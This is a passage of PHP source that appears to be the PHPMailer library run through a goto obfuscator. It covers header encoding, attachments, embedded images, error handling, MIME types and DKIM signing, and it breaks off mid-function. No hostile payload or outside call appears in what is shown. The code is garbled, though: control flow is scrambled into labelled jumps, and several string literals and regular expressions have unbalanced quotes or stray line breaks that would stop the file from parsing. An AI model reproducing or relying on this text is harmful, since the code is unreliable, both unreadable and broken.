goto Q9lm_; Q9lm_: $chunk = mb_substr($str, $i, $offset, $this->CharSet); goto LBN2h; LhJ7U: $start = "=?" . $this->CharSet . "?B?"; goto OTGxE; OTGxE: $end = "?="; goto JXZFN; HZ0CP: jAz3d: goto d9pBv; fZWOb: if (!(null === $linebreak)) { goto N_2RV; } goto WMB33; HI3Ar: goto nlBZY; goto qGhOG; d9pBv: $encoded .= $chunk . $linebreak; goto EJm8I; mvKjs: Al63f: goto D0TxG; WMB33: $linebreak = static::$LE; goto QNjB5; MmGd7: $lookBack = 0; goto mvKjs; LBN2h: $chunk = base64_encode($chunk); goto uyaUE; EJm8I: gFR0S: goto QUyxv; QUyxv: $i += $offset; goto HI3Ar; n2gN_: if (!($i < $mb_length)) { goto jkJq4; } goto MmGd7; pOBFW: $mb_length = mb_strlen($str, $this->CharSet); goto UlNha; R_IRu: nlBZY: goto n2gN_; UlNha: $length = 75 - strlen($start) - strlen($end); goto GBDJI; gW0Y8: return substr($encoded, 0, -strlen($linebreak)); goto sh1lK; uyaUE: ++$lookBack; goto M9L4L; M9L4L: if (strlen($chunk) > $length) { goto Al63f; } goto HZ0CP; GBDJI: $ratio = $mb_length / strlen($str); goto re2zR; QNjB5: N_2RV: goto pOBFW; re2zR: $avgLength = floor($length * $ratio * 0.75); goto EKoh2; JXZFN: $encoded = ''; goto fZWOb; sh1lK: } public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } public function encodeQ($str, $position = "text") { goto aBrwg; ZlTfJ: foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "=" . sprintf("%02X", ord($char)), $encoded); fs4zv: } goto wrQqU; DQK3u: array_unshift($matches[0], "="); goto i2yC8; q9WEB: dz8Gv: goto Sdk9w; aBrwg: $pattern = ''; goto DqfG8; K_22G: unset($matches[0][$eqkey]); goto DQK3u; sRg3N: k8Y2U: goto YsZnU; DqfG8: $encoded = str_replace(["\xd", "\xa"], '', $str); goto ze0bl; YsZnU: return str_replace(" ", "_", $encoded); goto og0CU; CfZNA: jvvbb: goto q9WEB; ze0bl: switch (strtolower($position)) { case "phrase": $pattern = "^A-Za-z0-9!*+\/ -"; goto dz8Gv; case "comment": $pattern = "\(\)""; case "text": default: $pattern = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $pattern; goto dz8Gv; } goto CfZNA; wrQqU: DWhef: goto sRg3N; tfyhS: if (!(false !== $eqkey)) { goto X8XtH; } goto K_22G; i2yC8: X8XtH: goto ZlTfJ; Sdk9w: $matches = []; goto ex89V; mDaUY: $eqkey = array_search("=", $matches[0]); goto tfyhS; ex89V: if (!preg_match_all("/[{$pattern}]/", $encoded, $matches)) { goto k8Y2U; } goto mDaUY; og0CU: } public function addStringAttachment($string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = "attachment") { goto FY4mq; ZK29J: $type = static::filenameToType($filename); goto DmyhI; FY4mq: if (!('' == $type)) { goto h2BOi; } goto ZK29J; i1asj: $this->attachment[] = [0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0]; goto JKBSU; DmyhI: h2BOi: goto i1asj; JKBSU: } public function addEmbeddedImage($path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "inline") { goto XryYZ; N_MBD: if (!('' == $type)) { goto ViR8y; } goto cEUDA; WxQnG: uNTVB: goto efEZD; cEUDA: $type = static::filenameToType($path); goto x9CHP; wt9CD: if (!('' == $name)) { goto uNTVB; } goto ftUpM; VCvc0: $filename = basename($path); goto wt9CD; D5SB6: return false; goto fnKB2; fnKB2: zMIN9: goto N_MBD; FznSE: return true; goto kC1eW; ftUpM: $name = $filename; goto WxQnG; XryYZ: if (!(!static::isPermittedPath($path) || !@is_file($path))) { goto zMIN9; } goto Uyl3Q; x9CHP: ViR8y: goto VCvc0; efEZD: $this->attachment[] = [0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid]; goto FznSE; Uyl3Q: $this->setError($this->lang("file_access") . $path); goto D5SB6; kC1eW: } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "inline") { goto pxhgu; pxhgu: if (!('' == $type and !empty($name))) { goto Ml6xp; } goto tkf6H; tkf6H: $type = static::filenameToType($name); goto MORxA; MORxA: Ml6xp: goto XnR6j; tBENX: return true; goto bUQr4; XnR6j: $this->attachment[] = [0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid]; goto tBENX; bUQr4: } protected function cidExists($cid) { goto eUEnU; e_CRH: return false; goto DQBHL; eUEnU: foreach ($this->attachment as $attachment) { goto qrU0Z; S92cT: LXepr: goto Ejlx5; z76yu: z2rZv: goto S92cT; PK8_L: return true; goto z76yu; qrU0Z: if (!("inline" == $attachment[6] and $cid == $attachment[7])) { goto z2rZv; } goto PK8_L; Ejlx5: } goto ciBTw; ciBTw: pqmii: goto e_CRH; DQBHL: } public function inlineImageExists() { goto QJLBt; n1Swz: return false; goto P_ijg; QJLBt: foreach ($this->attachment as $attachment) { goto p52zQ; top_b: return true; goto IjhP_; IjhP_: QKoF9: goto uhEKk; p52zQ: if (!("inline" == $attachment[6])) { goto QKoF9; } goto top_b; uhEKk: khNWW: goto AkeyC; AkeyC: } goto LdoZZ; LdoZZ: b74gs: goto n1Swz; P_ijg: } public function attachmentExists() { goto ahcUd; ahcUd: foreach ($this->attachment as $attachment) { goto n6M2k; nL0jb: ihVM3: goto KcszE; wHB34: return true; goto nL0jb; n6M2k: if (!("attachment" == $attachment[6])) { goto ihVM3; } goto wHB34; KcszE: jvzAI: goto hQza4; hQza4: } goto TC_V6; TC_V6: TTqSA: goto mA9vs; mA9vs: return false; goto Ma8Cu; Ma8Cu: } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($params) use($kind) { return $params[0] != $kind; }); } public function clearAddresses() { goto f1U4x; f1U4x: foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); WelkQ: } goto pBfb5; pBfb5: Il8Ed: goto wcjLv; wcjLv: $this->to = []; goto IHHvh; IHHvh: $this->clearQueuedAddresses("to"); goto tfEgi; tfEgi: } public function clearCCs() { goto nBMjO; nBMjO: foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); DQCdl: } goto i32Uw; rGiic: $this->clearQueuedAddresses("cc"); goto QwhRn; i32Uw: EeXgQ: goto YWa81; YWa81: $this->cc = []; goto rGiic; QwhRn: } public function clearBCCs() { goto gRc7D; vM7c5: m3O3O: goto aoqV7; Qh6En: $this->clearQueuedAddresses("bcc"); goto iCxHz; gRc7D: foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); XiuT2: } goto vM7c5; aoqV7: $this->bcc = []; goto Qh6En; iCxHz: } public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } public function clearAllRecipients() { goto S0abw; RRrkK: $this->cc = []; goto MahMT; S0abw: $this->to = []; goto RRrkK; IPcMt: $this->RecipientsQueue = []; goto QBtVC; MahMT: $this->bcc = []; goto nTD0g; nTD0g: $this->all_recipients = []; goto IPcMt; QBtVC: } public function clearAttachments() { $this->attachment = []; } public function clearCustomHeaders() { $this->CustomHeader = []; } protected function setError($msg) { goto lrrQ7; r3Lr1: $msg .= " Additional SMTP info: " . $lasterror["smtp_code_ex"]; goto EUBNF; YGVFi: hqWLU: goto tfhO3; emwCQ: NG8XZ: goto YGVFi; H9MLB: if (empty($lasterror["error"])) { goto NG8XZ; } goto aNu8b; Myg3F: $msg .= " SMTP code: " . $lasterror["smtp_code"]; goto gknR0; rcdi0: if (empty($lasterror["smtp_code"])) { goto qKP9R; } goto Myg3F; CAOcc: $msg .= " Detail: " . $lasterror["detail"]; goto xXMGJ; aNu8b: $msg .= $this->lang("smtp_error") . $lasterror["error"]; goto gc4m1; lrrQ7: ++$this->error_count; goto Tyb60; xXMGJ: WJ4BR: goto rcdi0; gGIqU: $lasterror = $this->smtp->getError(); goto H9MLB; Tyb60: if (!("smtp" == $this->Mailer and null !== $this->smtp)) { goto hqWLU; } goto gGIqU; kL6WF: if (empty($lasterror["smtp_code_ex"])) { goto PzTlI; } goto r3Lr1; gc4m1: if (empty($lasterror["detail"])) { goto WJ4BR; } goto CAOcc; EUBNF: PzTlI: goto emwCQ; tfhO3: $this->ErrorInfo = $msg; goto KnQMn; gknR0: qKP9R: goto kL6WF; KnQMn: } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function serverHostname() { goto obkPH; dpaZb: goto yevoD; goto lFnQT; A5FV5: oB2rQ: goto rFEqQ; CDDSR: Nxdln: goto oZpgq; QYV6Y: goto yevoD; goto Yhzor; lFnQT: Aer8n: goto thxTW; oZpgq: $result = $_SERVER["SERVER_NAME"]; goto QYV6Y; oVTwh: if (php_uname("n") !== false) { goto Aer8n; } goto XFDhD; Yhzor: j5Qu1: goto idFRq; pxuyE: goto yevoD; goto CDDSR; obkPH: $result = ''; goto wRCdN; avxpi: return $result; goto JxqyF; FEyz2: yevoD: goto pDIwe; rFEqQ: $result = $this->Hostname; goto pxuyE; J6y58: DJ4VR: goto avxpi; thxTW: $result = php_uname("n"); goto FEyz2; TlBHx: return "localhost.localdomain"; goto J6y58; pDIwe: if (static::isValidHost($result)) { goto DJ4VR; } goto TlBHx; wRCdN: if (!empty($this->Hostname)) { goto oB2rQ; } goto vPWU_; XFDhD: goto yevoD; goto A5FV5; BZ_JH: if (function_exists("gethostname") and gethostname() !== false) { goto j5Qu1; } goto oVTwh; idFRq: $result = gethostname(); goto dpaZb; vPWU_: if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) { goto Nxdln; } goto BZ_JH; JxqyF: } public static function isValidHost($host) { goto BZUI1; BZUI1: if (!(empty($host) or !is_string($host) or strlen($host) > 256)) { goto sCk_Q; } goto O8n31; iVZrz: return (bool) filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto Jrnth; f9Egb: if (!filter_var("http://" . $host, FILTER_VALIDATE_URL)) { goto x9fEY; } goto N5izG; N5izG: return true; goto ATHlN; ATHlN: x9fEY: goto vfRjS; vfRjS: return false; goto NUiGV; toA4s: sCk_Q: goto wV69u; zm_B1: KFHed: goto qtc45; xPzyD: return (bool) filter_var(trim($host, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto zm_B1; wV69u: if (!(trim($host, "[]") != $host)) { goto KFHed; } goto xPzyD; O8n31: return false; goto toA4s; qtc45: if (!is_numeric(str_replace(".", '', $host))) { goto w0Lc_; } goto iVZrz; Jrnth: w0Lc_: goto f9Egb; NUiGV: } protected function lang($key) { goto qw9XW; yfBF7: return $this->language[$key]; goto Bd3g0; UO3un: $this->setLanguage("en"); goto SgC6m; edK7l: if (!array_key_exists($key, $this->language)) { goto hcLuX; } goto z7CYY; haYYt: return $key; goto Twtf6; DC_cC: hcLuX: goto haYYt; SgC6m: IGCVj: goto edK7l; qw9XW: if (!(count($this->language) < 1)) { goto IGCVj; } goto UO3un; z7CYY: if (!("smtp_connect_failed" == $key)) { goto EN8iH; } goto yfBF7; Bd3g0: EN8iH: goto rdfal; rdfal: return $this->language[$key]; goto DC_cC; Twtf6: } public function isError() { return $this->error_count > 0; } public function addCustomHeader($name, $value = null) { goto r10ho; r10ho: if (null === $value) { goto dRZMn; } goto n2m6e; X2Sbg: dRZMn: goto t3k3c; n2m6e: $this->CustomHeader[] = [$name, $value]; goto kxD89; kxD89: goto jqBJo; goto X2Sbg; TkQbs: jqBJo: goto EjTQq; t3k3c: $this->CustomHeader[] = explode(":", $name, 2); goto TkQbs; EjTQq: } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { goto crPDC; i7VkL: $this->AltBody = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$LE; goto HZXY3; LSW_r: Uamg3: goto uHqsb; e2uRf: if ($this->alternativeExists()) { goto Y0ep6; } goto i7VkL; D_7NH: if (!(strlen($basedir) > 1 && "/" != substr($basedir, -1))) { goto hPzZL; } goto azWaf; azbVD: hPzZL: goto xQSAj; w_ZwK: if (!array_key_exists(2, $images)) { goto Uamg3; } goto D_7NH; azWaf: $basedir .= "/"; goto azbVD; uHqsb: $this->isHTML(true); goto LASfA; crPDC: preg_match_all("/(src|background)=["'](.*)["']/Ui", $message, $images); goto w_ZwK; BpsPQ: dL0Nz: goto LSW_r; HZXY3: Y0ep6: goto tBOOz; tBOOz: return $this->Body; goto rT3OC; fMuU5: $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); goto e2uRf; LASfA: $this->Body = static::normalizeBreaks($message); goto fMuU5; xQSAj: foreach ($images[2] as $imgindex => $url) { goto Gr4h4; noPlN: bLTO0: goto Zr8hr; x4wNZ: rYEEK: goto yNB4_; i9Zxx: Qh6Bt: goto f8nNr; N29gP: $cid = hash("sha256", $url) . "@phpmailer.0"; goto afUpM; aaFGq: $this->addStringEmbeddedImage($data, $cid, "embed" . $imgindex, static::ENCODING_BASE64, $match[1]); goto noPlN; ofngw: goto QCSE_; goto FQuDn; XjhfK: $directory = dirname($url); goto SCt8m; afUpM: if (!(strlen($basedir) > 1 and "/" != substr($basedir, -1))) { goto PX5BZ; } goto xRdA1; dACR8: $data = rawurldecode($match[3]); goto Cj4Kz; Cj4Kz: QCSE_: goto uWJAH; xRdA1: $basedir .= "/"; goto UWokw; FQuDn: Xoh6S: goto dACR8; UaSFo: $directory = ''; goto A9Tpt; cjVtU: goto rYEEK; goto vtf7B; Xqxbw: $data = base64_decode($match[3]); goto ofngw; f8nNr: if (!$this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { goto g2eOV; } goto uztfb; oZSgW: if ($this->cidExists($cid)) { goto bLTO0; } goto aaFGq; Zr8hr: $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "="cid:" . $cid . """, $message); goto YIES_; HasSJ: $filename = basename($url); goto XjhfK; lSQtt: if ('' == $match[2]) { goto Xoh6S; } goto cjVtU; SCt8m: if (!("." == $directory)) { goto vVCT6; } goto UaSFo; UWokw: PX5BZ: goto ld3or; vcwBl: if (!(!empty($basedir) and strpos($url, "..") === false and 0 !== strpos($url, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $url))) { goto ydf_d; } goto HasSJ; wIMHR: ydf_d: goto x4wNZ; YIES_: goto rYEEK; goto l8HDx; vtf7B: goto QCSE_; goto G1eE4; TGEVP: g2eOV: goto wIMHR; Gr4h4: if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $url, $match)) { goto k2FDn; } goto UG9Q8; UG9Q8: if (count($match) == 4 and static::ENCODING_BASE64 == $match[2]) { goto Q_i4Q; } goto lSQtt; uztfb: $message = preg_replace("/" . $images[1][$imgindex] . "=["']" . preg_quote($url, "/") . "["']/Ui", $images[1][$imgindex] . "="cid:" . $cid . """, $message); goto TGEVP; uWJAH: $cid = hash("sha256", $data) . "@phpmailer.0"; goto oZSgW; l8HDx: k2FDn: goto vcwBl; uoUPk: $directory .= "/"; goto i9Zxx; G1eE4: Q_i4Q: goto Xqxbw; ld3or: if (!(strlen($directory) > 1 and "/" != substr($directory, -1))) { goto Qh6Bt; } goto uoUPk; A9Tpt: vVCT6: goto N29gP; yNB4_: } goto BpsPQ; rT3OC: } public function html2text($html, $advanced = false) { goto pr5yy; pr5yy: if (!is_callable($advanced)) { goto yIyxr; } goto M7qj5; M7qj5: return call_user_func($advanced, $html); goto BtMPa; bU3sx: return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $html))), ENT_QUOTES, $this->CharSet); goto dC8ex; BtMPa: yIyxr: goto bU3sx; dC8ex: } public static function _mime_types($ext = '') { goto dx0PL; dpP2I: return $mimes[$ext]; goto axXrx; Jm5zB: return "application/octet-stream"; goto J4Fti; axXrx: Fz1e5: goto Jm5zB; OE14D: if (!array_key_exists($ext, $mimes)) { goto Fz1e5; } goto dpP2I; dx0PL: $mimes = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"]; goto eISaA; eISaA: $ext = strtolower($ext); goto OE14D; J4Fti: } public static function filenameToType($filename) { goto i1NSc; UeQyD: $filename = substr($filename, 0, $qpos); goto qHEDo; qHEDo: x0CPl: goto IfiqQ; IfiqQ: $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); goto IcSQu; IcSQu: return static::_mime_types($ext); goto FKpsk; i1NSc: $qpos = strpos($filename, "?"); goto dh6s1; dh6s1: if (!(false !== $qpos)) { goto x0CPl; } goto UeQyD; FKpsk: } public static function mb_pathinfo($path, $options = null) { goto Rv5nh; dRNWf: $pathinfo = []; goto UDiZg; F6mi_: $ret["dirname"] = $pathinfo[1]; goto V0Sjn; M4aVJ: $ret["filename"] = $pathinfo[3]; goto wmA_4; wXPHD: switch ($options) { case PATHINFO_DIRNAME: case "dirname": return $ret["dirname"]; case PATHINFO_BASENAME: case "basename": return $ret["basename"]; case PATHINFO_EXTENSION: case "extension": return $ret["extension"]; case PATHINFO_FILENAME: case "filename": return $ret["filename"]; default: return $ret; } goto OKB95; UDiZg: if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$#im", $path, $pathinfo)) { goto XnMYm; } goto qV1Ai; rIMuf: Mblti: goto sM64n; VFI7p: if (!array_key_exists(5, $pathinfo)) { goto Mblti; } goto QfMBO; Rv5nh: $ret = ["dirname" => '', "basename" => '', "extension" => '', "filename" => '']; goto dRNWf; QfMBO: $ret["extension"] = $pathinfo[5]; goto rIMuf; H6X2x: $ret["basename"] = $pathinfo[2]; goto NFvCA; AXHY8: XnMYm: goto wXPHD; Dj91_: LTySR: goto V0WF6; qV1Ai: if (!array_key_exists(1, $pathinfo)) { goto pFBWV; } goto F6mi_; wmA_4: Tw_Kk: goto AXHY8; sM64n: if (!array_key_exists(3, $pathinfo)) { goto Tw_Kk; } goto M4aVJ; V0Sjn: pFBWV: goto eHVnh; eHVnh: if (!array_key_exists(2, $pathinfo)) { goto hRyBV; } goto H6X2x; OKB95: wY5lG: goto Dj91_; NFvCA: hRyBV: goto VFI7p; V0WF6: } public function set($name, $value = '') { goto mKZVC; NXLJi: return false; goto vjcr6; QIla2: $this->setError($this->lang("variable_set") . $name); goto NXLJi; w3PfJ: CW0B7: goto QIla2; uyaOV: return true; goto w3PfJ; mKZVC: if (!property_exists($this, $name)) { goto CW0B7; } goto TRWbu; TRWbu: $this->{$name} = $value; goto uyaOV; vjcr6: } public function secureHeader($str) { return trim(str_replace(["
", "
"], '', $str)); } public static function normalizeBreaks($text, $breaktype = null) { goto w_kdA; a82QK: $text = str_replace(["\xd
", "\xd"], "
", $text); goto Djclx; O4Hi8: $text = str_replace("\xa", $breaktype, $text); goto nimSJ; uEGfi: $breaktype = static::$LE; goto C5MQ_; PhLIO: return $text; goto UoTnn; w_kdA: if (!(null === $breaktype)) { goto SrYON; } goto uEGfi; nimSJ: O_hpM: goto PhLIO; Djclx: if (!("
" !== $breaktype)) { goto O_hpM; } goto O4Hi8; C5MQ_: SrYON: goto a82QK; UoTnn: } public static function getLE() { return static::$LE; } protected static function setLE($le) { static::$LE = $le; } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { goto OTGBJ; OTGBJ: $this->sign_cert_file = $cert_filename; goto E91Ui; hdH2B: $this->sign_key_pass = $key_pass; goto u6SKO; u6SKO: $this->sign_extracerts_file = $extracerts_filename; goto DY_rt; E91Ui: $this->sign_key_file = $key_filename; goto hdH2B; DY_rt: } public function DKIM_QP($txt) { goto bqZW1; gLNmd: $line .= $txt[$i]; goto uMHAO; t6US8: g5zWE: goto gLNmd; X_62H: g3Lt2: goto yGq6T; aiiNZ: IFlZK: goto RX15V; BPK4u: ++$i; goto tan11; tan11: goto g3Lt2; goto aiiNZ; XCBtK: $ord = ord($txt[$i]); goto q6Qgb; NkoLw: $i = 0; goto X_62H; bqZW1: $line = ''; goto WJiJ8; uM9Km: goto tXh3Z; goto t6US8; WnE9y: $line .= "=" . sprintf("%02X", $ord); goto uM9Km; FTC8D: WqYnJ: goto BPK4u; uMHAO: tXh3Z: goto FTC8D; yGq6T: if (!($i < $len)) { goto IFlZK; } goto XCBtK; WJiJ8: $len = strlen($txt); goto NkoLw; q6Qgb: if (0x21 <= $ord and $ord <= 0x3a or $ord == 0x3c or 0x3e <= $ord and $ord <= 0x7e) { goto g5zWE; } goto WnE9y; RX15V: return $line; goto xWp_7; xWp_7: } public function DKIM_Sign($signHeader) { goto jn6oJ; KGjeu: return ''; goto y1gz3; L1RP8: goto L0GKg; goto IUYyf; p4RLc: $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); goto K2RbM; xKfvv: if (!openssl_sign($signHeader, $signature, $privKey, "sha256WithRSAEncryption")) { goto IvV0f; } goto U7eRb; CyXXr: if (!$this->exceptions) { goto Kz18_; } goto peFUM; U7eRb: openssl_pkey_free($privKey); goto Pj18m; iKnvp: IvV0f: goto WONBH; Pj18m: return base64_encode($signature); goto iKnvp; gw9cn: return ''; goto b_CA0; peFUM: throw new Exception($this->lang("extension_missing") . "openssl"); goto KerD4; WONBH: openssl_pkey_free($privKey); goto KGjeu; KerD4: Kz18_: goto gw9cn; jn6oJ: if (defined("PKCS7_TEXT")) { goto ksrwP; } goto CyXXr; DUry7: if ('' != $this->DKIM_passphrase) { goto UVMB_; } goto SUBol; XxYTM: $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); goto DUry7; b_CA0: ksrwP: goto XxYTM; IUYyf: UVMB_: goto p4RLc; SUBol: $privKey = openssl_pkey_get_private($privKeyStr); goto L1RP8; K2RbM: L0GKg: goto xKfvv; y1gz3: } public function DKIM_HeaderC($signHeader) { goto EPbg0; wxxVm: $lines = explode("\xd\xa", $signHeader); goto pwO1z; If2wS: fCrvY: goto Hxaiu; EPbg0: $signHeader = preg_replace("/\r\n[ \t]+/", " ", $signHeader); goto wxxVm; pwO1z: foreach ($lines as $key => $line) { goto e4MYR; e4MYR: if (!(strpos($line, ":") === false)) { goto nw8Ko; } goto r60Vq; r60Vq: goto ZgVRj; goto YC64o; YC64o: nw8Ko: goto FcDVR; FcDVR: list($heading, $value) = explode(":", $line, 2); goto sfl4F; q2AkP: $lines[$key] = trim($heading, " ") . ":" . trim($value, " \x9"); goto E_tNY; sfl4F: $heading = strtolower($heading); goto D39m9; E_tNY: ZgVRj: goto W7RO2; D39m9: $value = preg_replace("/[ \t]{2,}/", " ", $value); goto q2AkP; W7RO2: } goto If2wS; Hxaiu: return implode("
", $lines); goto F6nsW; F6nsW: } public function DKIM_BodyC($body) { goto E7ZLp; QrZJt: return "
\xa"; goto ojxs_; E7ZLp: if (!empty($body)) { goto DmARP; } goto QrZJt; dPqXK: $body = static::normalizeBreaks($body, "\xd\xa"); goto Gq8YD; ojxs_: DmARP: goto dPqXK; Gq8YD: return rtrim($body, "\xd
") . "
\xa"; goto JGY22; JGY22: } public function DKIM_Add($headers_line, $subject, $body) { goto rahly; f5d8M: XOPbf: goto mrz6r; NE1TT: $subject = str_replace("|", "=7C", $this->DKIM_QP($subject_header)); goto ero3E; ucnLL: i3Ph9: goto o0uLv; VvlLH: $ident = " i=" . $this->DKIM_identity . ";"; goto XjGGl; ero3E: $copiedHeaderFields = " z={$from}\xd\xa" . " |{$to}\xd
" . " |{$date}\xd
" . "\x9|{$subject};
\xa" . $extraCopyHeaderFields; goto HgjqZ; JuDPn: $date = str_replace("|", "=7C", $this->DKIM_QP($date_header)); goto NE1TT; tKoL_: $extraHeaderKeys = ''; goto TqTvO; W6EvT: foreach ($headers as $header) { goto uTvA7; z4HSH: $current = "to_header"; goto B7hps; K7vME: Yfkkv: goto BK1uY; uTvA7: if (strpos($header, "From:") === 0) { goto hAWkA; } goto ATsQQ; wVyPk: $current = "from_header"; goto fh22k; VjfDF: j8qfT: goto pZanv; zt1V5: goto bnlIl; goto J7_1K; PJz42: KsAaa: goto oaLFG; oaLFG: ${$current} .= $header; goto eN3LA; Gl8Gf: if (!empty(${$current}) and strpos($header, " =?") === 0) { goto KsAaa; } goto W9_Nh; FsK3B: hqTvZ: goto Zlq5D; W9_Nh: $current = ''; goto ZvMTX; J7_1K: hAWkA: goto iM13E; BzG_8: BDKe2: goto hNbbd; GC03n: $current = "date_header"; goto QhUux; qg_E8: if (strpos($header, "Date:") === 0) { goto xpvOK; } goto VJ75t; BK1uY: $to_header = $header; goto z4HSH; gFNOc: $date_header = $header; goto GC03n; QhUux: goto bnlIl; goto FsK3B; iM13E: $from_header = $header; goto wVyPk; B7hps: goto bnlIl; goto zJoQk; pZanv: bnlIl: goto BzG_8; fh22k: goto bnlIl; goto K7vME; Zlq5D: foreach ($this->DKIM_extraHeaders as $extraHeader) { goto bFnGG; bFnGG: if (!(strpos($header, $extraHeader . ":") === 0)) { goto VsEF1; } goto won4F; brItE: $foundExtraHeaders[$extraHeader] = $headerValue; goto i02Op; sT7Nq: QB6H3: goto DQQCD; rs8k0: foreach ($this->CustomHeader as $customHeader) { goto CGD0g; SSkCh: $headerValue = trim($customHeader[0]) . ": " . $this->encodeHeader(trim($customHeader[1])); goto eZnki; gqjuV: u1ihw: goto HZQO6; eZnki: goto HyOCQ; goto gqjuV; HZQO6: noSV9: goto V1eO6; CGD0g: if (!($customHeader[0] === $extraHeader)) { goto u1ihw; } goto SSkCh; V1eO6: } goto r2PCS; won4F: $headerValue = $header; goto rs8k0; bDagl: goto j8qfT; goto qw0K4; qw0K4: VsEF1: goto sT7Nq; r2PCS: HyOCQ: goto brItE; i02Op: $current = ''; goto bDagl; DQQCD: } goto VjfDF; zJoQk: xpvOK: goto gFNOc; eN3LA: lWTdR: goto zt1V5; ZvMTX: goto lWTdR; goto PJz42; VJ75t: if (!empty($this->DKIM_extraHeaders)) { goto hqTvZ; } 